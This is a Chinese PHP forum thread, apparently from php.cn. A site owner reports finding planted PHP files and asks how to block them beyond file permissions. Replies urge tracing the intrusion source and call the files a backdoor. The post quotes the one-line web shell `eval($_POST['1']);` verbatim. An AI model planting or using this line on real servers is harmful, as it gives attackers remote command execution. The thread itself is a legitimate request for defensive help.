网站多了几个PHP，内容如下：eval($_POST['1']);
有的是其他内容， 我百度了一下发现时执行某些命令的，我测试了一下 如果权限没限制好的话 确实可以执行一些命令。 请问 除了设置权限，从代码级别可否做限制呢？有没有什么好办法呢？
还有个PHP文件内容如下：
3
1059
还有文件，名字是：13686921256303.virus_killed
内容是：
请各位出出注意，谢谢了。
Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号
收藏
修正要修正根上。
与其费心让病毒代码“不能运行”，倒不如寻找病毒进入的来源——是从PHP程序的漏洞引入的，还是从服务器环境的不安全引入的。
另外提一下，使用虚拟主机在安全性上可能不是一个好主意。因为你与他人分享不隔离的物理设备与LAMP环境，虽然理论上Linux下用户之间的隔离很好，但实际上不隔离开还是风险很高。
这是给开了php后门了